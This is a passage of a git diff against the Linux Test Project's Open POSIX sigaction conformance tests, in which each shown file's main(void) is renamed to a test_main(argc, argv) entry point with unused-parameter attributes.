a3cef8e2..4d203acf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c index 6e1bc43f..2756ed1a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c index efb6a8aa..3f64a0ed 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c index 4b196a6e..a45b6d06 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c index f38bf17e..fcf5fc0c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c index 0c2662aa..4e5c76ee 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c index 07b193fd..65983a0f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c index 07b193fd..65983a0f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c index 07b193fd..65983a0f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c index 507fa068..01d9200d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c index e83a5057..45a43a57 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c index e65cbece..38100f4c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c index 7c178070..114d307b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c index 544890a5..30b6be5e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c index 490a37f3..eda52285 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c index fcd01771..fc958c4e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c index 2820e8ad..531121e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c index 48067add..5eedc4a9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c index 603f5265..bc2fe56c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c index 2de66a68..35cfc6e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c index 284ca8c2..63018a70 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c index 515d1180..6d99e3b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c index 222aaedb..12628d2d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c index 24cb0150..5605cb49 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c index 65804132..8f853303 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c index 9d5d71b8..ab136649 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c index a8db824a..3d966cbf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c index 80836bd1..81871c1a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c index 80cafc6c..909a5cc2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c index d329344e..bf955b6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c index 292f24aa..c833f323 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c index 745ee813..334b449b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c index 036a034e..daf32ea7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c index 07d44377..49191543 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c index 33a52bdc..ba658d1d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c index 48067add..5eedc4a9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c index 48067add..5eedc4a9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c index 69b4432a..a613d763 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c index ebff7d17..e865029e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c index 50a74ae0..d612d6e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c index 6ce3fb6b..02d2abde 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c index f5870180..e4e117f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c index f48d7c35..32ed38ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c index 73e67546..6b26f4da 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c index ff4a8e7d..a3d4501f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c index 4ad28296..28bdb1ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c index 9f765738..6d7cd931 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c index 29554852..2bd1ce6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c index beb0f2e2..db0ff15e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c index 69d12361..c0fad8a8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c index 85932092..5092f8f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, 